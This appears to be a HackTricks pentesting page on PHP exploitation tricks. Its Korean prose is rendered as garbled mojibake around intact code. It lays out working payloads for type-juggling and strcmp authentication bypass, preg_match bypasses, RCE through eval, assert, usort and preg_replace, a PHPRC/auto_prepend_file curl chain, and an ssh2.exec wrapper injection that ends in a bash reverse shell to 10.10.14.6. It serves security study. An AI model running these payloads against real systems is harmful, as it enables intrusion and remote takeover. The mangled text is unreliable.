PHP ํธ๋ฆญ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Cookies ๊ณตํต ์์น:
์ด๋ phpMyAdmin cookies์๋ ํด๋น๋ฉ๋๋ค.
Cookies:
PHPSESSID
phpMyAdmin
์์น:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
PHP ๋น๊ต ์ฐํ
๋์จํ ๋น๊ต/Type Juggling ( == )
PHP์์ ==๊ฐ ์ฌ์ฉ๋๋ฉด ๋น๊ต๊ฐ ์์๊ณผ ๋ค๋ฅด๊ฒ ๋์ํ๋ ์์ธ์ ์ธ ๊ฒฝ์ฐ๊ฐ ์กด์ฌํฉ๋๋ค. ์ด๋ โ==โ๊ฐ ๋์ผํ ํ์
์ผ๋ก ๋ณํ๋ ๊ฐ๋ง ๋น๊ตํ๊ธฐ ๋๋ฌธ์ด๋ฉฐ, ๋น๊ต ๋์์ ํ์
๊น์ง ๋์ผํ์ง ํ์ธํ๋ ค๋ฉด ===๋ฅผ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
PHP ๋น๊ต ํ: https://www.php.net/manual/en/types.comparisons.php
.png)
"string" == 0 -> True์ซ์๋ก ์์ํ์ง ์๋ ๋ฌธ์์ด์ ์ซ์์ ๊ฐ๋ค๊ณ ๊ฐ์ฃผ๋๋ค"0xAAAA" == "43690" -> True์ญ์ง์ ๋๋ 16์ง์ ํ์์ ์ซ์๋ก ๊ตฌ์ฑ๋ ๋ฌธ์์ด์ ์ซ์๊ฐ ๊ฐ๋ค๋ฉด ๋ค๋ฅธ ์ซ์/๋ฌธ์์ด๊ณผ ๋น๊ตํ์ ๋ True๊ฐ ๋ ์ ์๋ค (๋ฌธ์์ด์ ์ซ์๋ ์ซ์๋ก ํด์๋๋ค)"0e3264578" == 0 --> Trueโ0eโ๋ก ์์ํ๊ณ ๋ค์ ์ด๋ค ๋ด์ฉ์ด ์ค๋๋ผ๋ 0๊ณผ ๊ฐ๊ฒ ์ทจ๊ธ๋๋ค"0X3264578" == 0X --> Trueโ0โ๋ก ์์ํ๊ณ ๊ทธ ๋ค์์ ์ด๋ค ๊ธ์(X๋ ์ด๋ค ๊ธ์๋ ๋ ์ ์์)๊ฐ ์ค๋ฉฐ ๊ทธ ๋ค์ ์ด๋ค ๋ด์ฉ์ด ์ค๋๋ผ๋ 0๊ณผ ๊ฐ๊ฒ ์ทจ๊ธ๋๋ค"0e12334" == "0" --> True๋งค์ฐ ํฅ๋ฏธ๋ก์ด ์ ์, ์ผ๋ถ ๊ฒฝ์ฐ์ โ0โ์ ๋ฌธ์์ด ์ ๋ ฅ๊ณผ ํด์๋์ด ๋น๊ต๋๋ ๋ด์ฉ์ ์ ์ดํ ์ ์๋ค๋ ๊ฒ์ ๋๋ค. ๋ฐ๋ผ์ ํด์๊ฐ โ0eโ๋ก ์์ํ๊ณ ๋ฌธ์ ์์ด ์ซ์๋ง ์๋ ๊ฐ์ ๋ง๋ค ์ ์๋ค๋ฉด ๋น๊ต๋ฅผ ์ฐํํ ์ ์์ต๋๋ค. ์ด ํ์์ ์ด๋ฏธ ํด์๋ ๋ฌธ์์ด์ ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ต๋๋ค: https://github.com/spaze/hashes"X" == 0 --> True๋ฌธ์์ด์ ์ด๋ค ๋ฌธ์๋ผ๋ ์ ์ 0๊ณผ ๊ฐ๋ค
์์ธํ ์ ๋ณด: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling์ ๊ธฐ๋ณธ์ ์ผ๋ก in_array() ํจ์์๋ ์ํฅ์ ์ค๋ค (์๊ฒฉํ ๋น๊ต๋ฅผ ์ํด์๋ ์ธ ๋ฒ์งธ ์ธ์๋ฅผ true๋ก ์ค์ ํด์ผ ํ๋ค):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
์ด ํจ์๊ฐ any authentication check (like checking the password)์ ์ฌ์ฉ๋๊ณ ์ฌ์ฉ์๊ฐ ๋น๊ต์ ํ์ชฝ์ ์ ์ดํ ์ ์๋ค๋ฉด, ๊ทธ๋ password ๊ฐ์ผ๋ก ๋ฌธ์์ด ๋์ ๋น ๋ฐฐ์ด์ ๋ณด๋ผ ์ ์๊ณ (https://example.com/login.php/?username=admin&password[]=) ์ด ๊ฒ์ฌ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
strcasecmp()์์๋ ๋์ผํ ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค
์๊ฒฉํ ํ์ ์ ๊ธ๋ง
===๊ฐ ์ฌ์ฉ๋๊ณ ์๋๋ผ๋ ๋น๊ต๊ฐ ํ์
์ ๊ธ๋ง์ ์ทจ์ฝํด์ง ์ ์๋ ์ค๋ฅ๊ฐ ์์ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ๋น๊ต๋ฅผ ์ํํ๊ธฐ ์ ์ ๋ฐ์ดํฐ๋ฅผ ๋ค๋ฅธ ํ์
์ ๊ฐ์ฒด๋ก ๋ณํํ๋ ๊ฒฝ์ฐ:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
**preg_match()**๋ validate user input์ ์ฌ์ฉ๋ ์ ์๋ค (์ด๋ blacklist์ ์ด๋ค word/regex๊ฐ user input์ presentํ๋์ง checksํ๊ณ , ์๋ค๋ฉด ์ฝ๋๊ฐ ๊ณ์ ์คํ๋ ์ ์๋ค).
New line bypass
๊ทธ๋ฌ๋ regexp์ ์์์ ํ์ ํ ๋ preg_match()๋ only checks the first line of the user input. ๋ฐ๋ผ์ ์
๋ ฅ์ several lines๋ก sendํ ์ ์๋ค๋ฉด ์ด ๊ฒ์ฌ๋ฅผ ์ฐํํ ์ ์๋ค. ์:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
์ด ๊ฒ์ฌ๋ฅผ ์ฐํํ๋ ค๋ฉด ๊ฐ์ ๊ฐํ ๋ฌธ์๋ก URL ์ธ์ฝ๋ฉํ์ฌ ์ ์ก (%0A)ํ๊ฑฐ๋ JSON data๋ฅผ ์ ์กํ ์ ์๋ค๋ฉด ์ฌ๋ฌ ์ค๋ก ๋ณด๋ด์ธ์:
{
"cmd": "cat /etc/passwd"
}
Find an example here: https://ramadistra.dev/fbctf-2019-rceservice
Length error bypass
(This bypass was tried apparently on PHP 5.2.5 and I couldnโt make it work on PHP 7.3.15)
๋ง์ฝ preg_match()์ ์ ํจํ ๋งค์ฐ ํฐ ์
๋ ฅ์ ๋ณด๋ผ ์ ์๋ค๋ฉด, preg_match()๋ ์ด๋ฅผ ์ฒ๋ฆฌํ์ง ๋ชปํ๊ฒ ๋๊ณ ๊ฒ์ฌ๋ฅผ bypassํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, JSON์ blacklistingํ๊ณ ์๋ค๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๋ณด๋ผ ์ ์์ต๋๋ค:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
์ถ์ฒ: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
ReDoS Bypass
๊ธฐ๋ฒ ์ถ์ฒ: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong
.png)
๊ฐ๋จํ ๋งํ๋ฉด, ์ด ๋ฌธ์ ๋ PHP์ preg_* ํจ์๊ฐ PCRE library๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ๊ธฐ ๋๋ฌธ์ ๋ฐ์ํฉ๋๋ค. PCRE์์๋ ํน์ ์ ๊ท์์ด ๋ง์ ์ฌ๊ท ํธ์ถ์ ์ฌ์ฉํด ๋งค์นญ๋๋ฉฐ, ์ด๋ ์คํ ๊ณต๊ฐ์ ๋ง์ด ์๋ชจํฉ๋๋ค. ํ์ฉ๋๋ ์ฌ๊ท ํ์์ ์ ํ์ ์ค์ ํ ์ ์์ง๋ง, PHP์์๋ ์ด ์ ํ์ด defaults to 100.000์ผ๋ก ์คํ์ ๋ค์ด๊ฐ ์ ์๋ ์๋ณด๋ค ํฝ๋๋ค.
This Stackoverflow thread๋ ๊ฒ์๋ฌผ์์ ๋งํฌ๋์ด ์ด ์ด์์ ๋ํด ๋ ๊น๊ฒ ๋ค๋ฃจ๊ณ ์์์ต๋๋ค. ์ฐ๋ฆฌ์ ๋ชฉํ๋ ์ด์ ๋ช
ํํด์ก์ต๋๋ค:
์ ๊ท์์ด 100_000+ โrecursionsโ๋ฅผ ์ํํ๊ฒ ๋ง๋ค์ด SIGSEGV๋ฅผ ์ผ์ผํค๊ณ , preg_match()๊ฐ false๋ฅผ ๋ฐํํ๊ฒ ํ์ฌ ์ ํ๋ฆฌ์ผ์ด์
์ด ์ฐ๋ฆฌ์ ์
๋ ฅ์ ์
์ฑ์ผ๋ก ํ๋จํ์ง ๋ชปํ๊ฒ ๋ง๋ ๋ค, ํ์ด๋ก๋ ๋์ {system(<verybadcommand>)} ๊ฐ์ ์ํ๋ผ์ด์ฆ๋ฅผ ๋ฃ์ด SSTI โ> RCE โ> flag :).
๊ธ์์, regex ๊ด์ ์์๋ ์ค์ ๋ก 100k โrecursionsโ๋ฅผ ํ๋ ๊ฒ์ด ์๋๋ผ โbacktracking stepsโ๋ฅผ ์ธ๋ ๊ฒ์
๋๋ค. PHP documentation์ ๋ฐ๋ฅด๋ฉด pcre.backtrack_limit ๋ณ์์ ๊ธฐ๋ณธ๊ฐ์ 1_000_000 (1M)์
๋๋ค.
๊ทธ ์์ ๋๋ฌํ๋ ค๋ฉด 'X'*500_001์ด ์ด 100๋ง backtracking steps(500k forward and 500k backwards)๋ฅผ ๋ง๋ค์ด๋
๋๋ค:
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Type Juggling์ ์ด์ฉํ PHP obfuscation
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
PHP๊ฐ ๋ค๋ฅธ ํ์ด์ง๋ก ๋ฆฌ๋ค์ด๋ ํธํ๊ณ ์์ง๋ง, die ๋๋ exit ํจ์๊ฐ header Location์ด ์ค์ ๋ ํ์ ํธ์ถ๋์ง ์์ผ๋ฉด, PHP๋ ๊ณ์ ์คํ๋์ด ๋ฐ์ดํฐ๋ฅผ ๋ณธ๋ฌธ์ ์ถ๊ฐํฉ๋๋ค:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Path Traversal and File Inclusion Exploitation
Check:
์ถ๊ฐ ํ
- register_globals: PHP < 4.1.1.1 ๋๋ ์๋ชป ์ค์ ๋ ๊ฒฝ์ฐ register_globals๊ฐ ํ์ฑํ๋์ด ์๊ฑฐ๋ ๊ทธ ๋์์ด ํ๋ด๋๊ณ ์์ ์ ์์ต๋๋ค. ์ด๋ $_GET ๊ฐ์ ์ ์ญ ๋ณ์์ ๊ฐ์ด ์์ ๋(์: $_GET[โparamโ]=โ1234โ) $param์ผ๋ก ์ ๊ทผํ ์ ์๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค. ๋ฐ๋ผ์ HTTP ํ๋ผ๋ฏธํฐ๋ฅผ ์ ์กํ์ฌ ์ฝ๋ ๋ด์์ ์ฌ์ฉ๋๋ ๋ณ์๋ฅผ ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
- The PHPSESSION cookies of the same domain are stored in the same place, therefore if within a domain different cookies are used in different paths you can make that a path accesses the cookie of the path setting the value of the other path cookie.
์ด๋ ๊ฒ ํ๋ฉด ๋ ๊ฒฝ๋ก๊ฐ ๋์ผํ ์ด๋ฆ์ ๋ณ์๋ฅผ ์ ๊ทผํ ๊ฒฝ์ฐ, path1์ ๋ณ์ ๊ฐ์ path2์ ์ ์ฉ๋๋๋ก ๋ง๋ค ์ ์์ต๋๋ค. ๊ทธ ๊ฒฐ๊ณผ path2๋ path1์ ๋ณ์๋ฅผ ์ ํจํ ๊ฒ์ผ๋ก ๋ฐ์๋ค์ด๊ฒ ๋ฉ๋๋ค(ํด๋น ์ฟ ํค์ path2์์ ์ฌ์ฉํ๋ ์ด๋ฆ์ ๋ถ์ฌํจ์ผ๋ก์จ). - ๋จธ์ ์ usernames๋ฅผ ์๊ณ ์๋ค๋ฉด ์ฃผ์ /~<USERNAME> ๋ฅผ ํ์ธํด php ๋๋ ํฐ๋ฆฌ๊ฐ ํ์ฑํ๋์ด ์๋์ง ํ์ธํ์ธ์.
- PHP ์ค์ ์
register_argc_argv = On์ด๋ฉด ๊ณต๋ฐฑ์ผ๋ก ๊ตฌ๋ถ๋ ์ฟผ๋ฆฌ ํ๋ผ๋ฏธํฐ๊ฐ CLI ์ธ์์ฒ๋ผarray_keys($_SERVER['argv'])๋ฐฐ์ด์ ์ฑ์ฐ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ํฅ๋ฏธ๋ก์ด ์ ์ ์ด ์ค์ ์ด ๊บผ์ ธ ์์ผ๋ฉด ์น์์ ํธ์ถํ ๋ args ๋ฐฐ์ด์ ๊ฐ์ดNull์ด ๋๋ค๋ ๊ฒ์ ๋๋ค(๋ฐฐ์ด์ด ์ฑ์์ง์ง ์์). ๋ฐ๋ผ์ ์น ํ์ด์ง๊ฐif (empty($_SERVER['argv'])) {๊ฐ์ ๋น๊ต๋ก ์น์ธ์ง CLI์ธ์ง ํ๋ณํ๋ฉด, ๊ณต๊ฒฉ์๋ GET ์์ฒญ์?--configPath=/lalala๊ฐ์ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ณด๋ด ์ ํ๋ฆฌ์ผ์ด์ ์ด CLI๋ก ์คํ๋๋ ๊ฒ์ผ๋ก ํ๋จํ๊ฒ ํ๊ณ ๊ทธ ์ธ์๋ฅผ ํ์ฑยท์ฌ์ฉํ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ ์๋ฌธ writeup์ ์ฐธ์กฐํ์ธ์. - LFI and RCE using php wrappers
password_hash/password_verify
์ด ํจ์๋ค์ ์ผ๋ฐ์ ์ผ๋ก PHP์์ ๋น๋ฐ๋ฒํธ๋ก๋ถํฐ ํด์๋ฅผ ์์ฑํ๊ณ ํด์์ ๋น๊ตํ์ฌ ๋น๋ฐ๋ฒํธ๊ฐ ์ฌ๋ฐ๋ฅธ์ง ๊ฒ์ฆํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
์ง์๋๋ ์๊ณ ๋ฆฌ์ฆ์ PASSWORD_DEFAULT์ PASSWORD_BCRYPT($2y$๋ก ์์)์
๋๋ค. PASSWORD_DEFAULT๋ ์ข
์ข
PASSWORD_BCRYPT์ ๋์ผํฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ ํ์ฌ PASSWORD_BCRYPT๋ ์
๋ ฅ์ ๋ํด 72bytes์ ํฌ๊ธฐ ์ ํ์ด ์์ต๋๋ค. ๋ฐ๋ผ์ ์ด ์๊ณ ๋ฆฌ์ฆ์ผ๋ก 72bytes๋ณด๋ค ํฐ ๋ฐ์ดํฐ๋ฅผ ํด์ํ๋ฉด ์ฒ์ 72B๋ง ์ฌ์ฉ๋ฉ๋๋ค:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers bypass abusing PHP errors
Causing error after setting headers
์ด this twitter thread์์ ๋ณผ ์ ์๋ฏ์ด, 1000๊ฐ ์ด์์ GET params ๋๋ 1000๊ฐ ์ด์์ POST params ๋๋ 20๊ฐ์ files๋ฅผ ์ ์กํ๋ฉด PHOP๋ ์๋ต์ headers๋ฅผ ์ค์ ํ์ง ์์ต๋๋ค.
์๋ฅผ ๋ค์ด ๋ค์๊ณผ ๊ฐ์ ์ฝ๋์์ CSP headers๊ฐ ์ค์ ๋๋ ๊ฒ์ ์ฐํํ ์ ์๊ฒ ํฉ๋๋ค:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
ํค๋ ์ค์ ์ ์ ๋ฐ๋ ์ฑ์ฐ๊ธฐ
๋ง์ฝ PHP ํ์ด์ง๊ฐ ์๋ฌ๋ฅผ ์ถ๋ ฅํ๊ณ ์ฌ์ฉ์ ์ ๊ณต ์
๋ ฅ์ ๊ทธ๋๋ก echo ํ๋ ๊ฒฝ์ฐ, ์ฌ์ฉ์๋ PHP ์๋ฒ๊ฐ ์๋ต์ ํค๋๋ฅผ ์ถ๊ฐํ๋ ค ํ ๋ ์ค๋ฅ๋ฅผ ๋ฐ์์ํค๋๋ก ์ถฉ๋ถํ ๊ธด ๋ด์ฉ์ ์ถ๋ ฅํ๊ฒ ํ ์ ์์ต๋๋ค.
๋ค์ ์๋๋ฆฌ์ค์์๋ ๊ณต๊ฒฉ์๊ฐ ์๋ฒ์ ํฐ ์๋ฌ๋ฅผ ๋ฐ์์์ผฐ๊ณ , ํ๋ฉด์์ ๋ณด๋ฏ์ด PHP๊ฐ ํค๋ ์ ๋ณด๋ฅผ ์์ ํ๋ ค ํ์ง๋ง ํ ์ ์์์ต๋๋ค (์: CSP ํค๋๊ฐ ์ฌ์ฉ์์๊ฒ ์ ์ก๋์ง ์์):
.png)
PHP ํจ์์์์ SSRF
ํด๋น ํ์ด์ง๋ฅผ ํ์ธ:
ssh2.exec stream wrapper RCE
When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:
$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
localhost SSH๋ฅผ ํตํด shell ๋ช ๋ น์ ์คํํ๊ธฐ์ ์ถฉ๋ถํฉ๋๋ค:
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
- ์๊ฒฉ ์ฆ๋ช ๋ถ๋ถ์ ์: cracked bcrypt hashes์์ ์ป์ leaked system password๋ฅผ ์ฌ์ฌ์ฉํ ์ ์์ต๋๋ค.
- ๋์
#๋ ์๋ฒ ์ธก ์ ๋ฏธ์ฌ (files/<id>.zip)๋ฅผ ์ฃผ์ ์ฒ๋ฆฌํ๋ฏ๋ก, ์ค์ง ๋น์ ์ ๋ช ๋ น๋ง ์คํ๋ฉ๋๋ค. - Blind RCE๋
tcpdump -ni tun0 icmp๋ก ์์๋ฐ์ด๋ ํธ๋ํฝ์ ๊ด์ฐฐํ๊ฑฐ๋ HTTP canary๋ฅผ ์ ๊ณตํ์ฌ ํ์ธํฉ๋๋ค.
๊ฒ์ฆ๋๋ฉด ๋ช ๋ น์ reverse shell payload๋ก ๊ต์ฒดํ์ธ์:
format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
๋ชจ๋ ๊ฒ์ด PHP ์์ปค ๋ด๋ถ์์ ๋ฐ์ํ๋ฏ๋ก TCP ์ฐ๊ฒฐ์ target์์ ์์๋์ด ์ฃผ์
๋ ๊ณ์ (yuri, eric ๋ฑ)์ ๊ถํ์ ์์๋ฐ์ต๋๋ค.
Code execution
system(โlsโ);ls;
shell_exec(โlsโ);
Check this for more useful PHP functions
RCE via preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
replace ์ธ์์ ์ฝ๋๋ฅผ ์คํํ๋ ค๋ฉด ์ต์ ํ ๋ฒ์ ๋งค์น๊ฐ ํ์ํฉ๋๋ค.
preg_replace์ ์ด ์ต์
์ PHP 5.5.0๋ถํฐ ๋ ์ด์ ์ฌ์ฉ๋์ง ์์ต๋๋ค.
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
Assert()๋ฅผ ํตํ RCE
php ๋ด์ ์ด ํจ์๋ ๋ฌธ์์ด์ ์์ฑ๋ ์ฝ๋๋ฅผ ์คํํ์ฌ ๊ฒฐ๊ณผ๋ก true ๋๋ false๋ฅผ ๋ฐํํ๋๋ก ํ์ฉํฉ๋๋ค(๊ทธ๋ฆฌ๊ณ ์ด์ ๋ฐ๋ผ ์คํ์ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค). ๋ณดํต ์ฌ์ฉ์ ๋ณ์๋ ๋ฌธ์์ด ์ค๊ฐ์ ์ฝ์
๋ฉ๋๋ค. ์:assert("strpos($_GET['page']),'..') === false") โ> ์ด ๊ฒฝ์ฐ RCE๋ฅผ ์ป๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์์ต๋๋ค:
?page=a','NeVeR') === false and system('ls') and strpos('a
์ฝ๋์ syntax๋ฅผ ๊นจ๊ณ , payload๋ฅผ ์ถ๊ฐํ ๋ค์, ๋ค์ ์์ ํด์ผ ํฉ๋๋ค. and ์ฐ์ฐ์๋ %26%26, | ๊ฐ์ logic operations๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. โorโ, โ||โ๋ ๋์ํ์ง ์๋๋ฐ, ์ฒซ ๋ฒ์งธ ์กฐ๊ฑด์ด true์ด๋ฉด ์ฐ๋ฆฌ์ payload๊ฐ ์คํ๋์ง ์๊ธฐ ๋๋ฌธ์ ๋๋ค. ๋ง์ฐฌ๊ฐ์ง๋ก โ;โ๋ ๋์ํ์ง ์์ผ๋ฉฐ payload๊ฐ ์คํ๋์ง ์์ต๋๋ค.
Other option์ ๋ฌธ์์ด์ ๋ค์ ๋ช
๋ น ์คํ์ ์ถ๊ฐํ๋ ๊ฒ์
๋๋ค: '.highlight_file('.passwd').'
Other option (๋ด๋ถ ์ฝ๋๋ฅผ ์๊ณ ์๋ ๊ฒฝ์ฐ)์ ์คํ์ ๋ณ๊ฒฝํ๊ธฐ ์ํด ๋ณ์๋ฅผ ์์ ํ๋ ๊ฒ์
๋๋ค: $file = "hola"
usort()๋ฅผ ํตํ RCE
์ด ํจ์๋ ํน์ ํจ์๋ฅผ ์ฌ์ฉํด ๋ฐฐ์ด์ ํญ๋ชฉ์ ์ ๋ ฌํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
์ด ํจ์๋ฅผ ์
์ฉํ๋ ค๋ฉด:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
You can also use // to comment the rest of the code.
๋ซ์์ผ ํ ๊ดํธ์ ๊ฐ์๋ฅผ ์์๋ด๋ ๋ฐฉ๋ฒ:
?order=id;}//: ์๋ฌ ๋ฉ์์ง(Parse error: syntax error, unexpected ';')๊ฐ ๋น๋๋ค. ์๋ง ํ๋ ์ด์์ ๊ดํธ๊ฐ ๋น ์ก์ต๋๋ค.?order=id);}//: warning๊ฐ ๋น๋๋ค. ์ ์ ํด ๋ณด์ ๋๋ค.?order=id));}//: ์๋ฌ ๋ฉ์์ง(Parse error: syntax error, unexpected ')' i)๊ฐ ๋น๋๋ค. ๋ซ๋ ๊ดํธ๊ฐ ๋๋ฌด ๋ง์ ๊ฐ๋ฅ์ฑ์ด ํฝ๋๋ค.
RCE via .httaccess
๋ง์ฝ .htaccess๋ฅผ uploadํ ์ ์๋ค๋ฉด, ์ฌ๋ฌ ์ค์ ์ configureํ๊ณ ์ฌ์ง์ด ์ฝ๋ ์คํ๋ ๊ฐ๋ฅํ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค(.htaccess ํ์ฅ์๋ฅผ ์คํ ๊ฐ๋ฅํ๋๋ก ์ค์ ํ๋ ๋ฑ).
๋ค์ํ .htaccess shells๋ here์์ ์ฐพ์ ์ ์์ต๋๋ค.
RCE via Env Variables
๋ง์ฝ PHP์์ env variables๋ฅผ modifyํ ์ ์๋ ์ทจ์ฝ์ (๊ทธ๋ฆฌ๊ณ ํ์ผ์ uploadํ ์ ์๋ ๋ ๋ค๋ฅธ ์ทจ์ฝ์ , ๋จ ์ถ๊ฐ ์ฐ๊ตฌ๋ก ์ฐํ ๊ฐ๋ฅํ ์ ์์)์ ์ฐพ๋๋ค๋ฉด, ์ด ๋์์ ์ ์ฉํด RCE๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
LD_PRELOAD: ์ด env ๋ณ์๋ ๋ค๋ฅธ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ ๋ ์์์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋ก๋ํ๋๋ก ํ์ฉํฉ๋๋ค(์ด ๊ฒฝ์ฐ ์๋ํ์ง ์์ ์๋ ์์).PHPRC: PHP๊ฐ ์ค์ ํ์ผ(์ผ๋ฐ์ ์ผ๋กphp.ini)์ ์ด๋์ ์ฐพ์์ง ์ง์ํฉ๋๋ค. ์์ฒด ์ค์ ํ์ผ์ uploadํ ์ ์๋ค๋ฉด,PHPRC๋ก PHP๊ฐ ๊ทธ ํ์ผ์ ์ฌ์ฉํ๋๋ก ์ง์ ํ์ธ์. ๋ ๋ฒ์งธ๋ก uploadํ ํ์ผ์ ์ง์ ํ๋auto_prepend_fileํญ๋ชฉ์ ์ถ๊ฐํฉ๋๋ค. ์ด ๋ ๋ฒ์งธ ํ์ผ์ ์ผ๋ฐ PHP code๋ฅผ ํฌํจํ๊ณ ์์ผ๋ฉฐ, PHP ๋ฐํ์์ด ๋ค๋ฅธ ์ฝ๋๋ณด๋ค ๋จผ์ ์ด๋ฅผ executeํฉ๋๋ค.
- Upload a PHP file containing our shellcode
- Upload a second file, containing an
auto_prepend_filedirective instructing the PHP preprocessor to execute the file we uploaded in step 1 - Set the
PHPRCvariable to the file we uploaded in step 2.
- ์ด ์ฒด์ธ์ ์คํํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ์ ๋ณด๋ from the original report์์ ํ์ธํ์ธ์.
- PHPRC - ๋ ๋ค๋ฅธ ์ต์
- ๋ง์ฝ ํ์ผ์ uploadํ ์ ์๋ค๋ฉด, FreeBSD์์๋ ์์ฒญ์ body๊ฐ ๋ด๊ธด **
stdin**์ ํฌํจํ๋ ํ์ผ/dev/fd/0์ ์ฌ์ฉํ ์ ์์ต๋๋ค: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'- ๋๋ RCE๋ฅผ ์ป๊ธฐ ์ํด **
allow_url_include**๋ฅผ ํ์ฑํํ๊ณ base64 PHP code๋ก ํ์ผ์ prependํ ์ ์์ต๋๋ค: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'- Technique from this report.
XAMPP CGI RCE - CVE-2024-4577
